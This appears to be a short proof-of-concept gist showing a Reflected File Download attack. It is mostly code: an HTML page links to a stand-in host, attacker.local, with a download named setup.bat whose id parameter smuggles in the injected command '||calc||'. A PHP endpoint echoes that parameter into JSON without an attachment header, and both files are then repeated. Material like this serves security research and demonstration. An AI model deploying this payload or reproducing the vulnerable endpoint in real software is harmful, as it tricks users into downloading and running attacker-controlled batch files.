mrtc0 · May 5, 2016 15:07
diff --git a/rfd.html b/rfd.html
 <!DOCTYPE html>
 <html lang="en">
 <head>
   <meta charset="UTF-8">
   <title></title>
 </head>
 <body>
   <a download href='http://attacker.local/rfd/rfd.php/setup.bat?id="||calc||'>click here</a>
 </body>
 </html>
diff --git a/rfd_sample.php b/rfd_sample.php
 <?php
  $id = $_GET['id'];
  $data = array('id'=>$id,'val'=>'val');
  header("Content-Type: application/json; charset=utf-8");
  #header("Content-Disposition: attachment;");
  echo json_encode($data);
 ?>
	<!DOCTYPE html>
	<html lang="en">
	<head>
	<meta charset="UTF-8">
	<title></title>
	</head>
	<body>
	<a download href='http://attacker.local/rfd/rfd.php/setup.bat?id="\|\|calc\|\|'>click here</a>
	</body>
	</html>
	<?php
	$id = $_GET['id'];
	$data = array('id'=>$id,'val'=>'val');
	header("Content-Type: application/json; charset=utf-8");
	#header("Content-Disposition: attachment;");
	echo json_encode($data);
	?>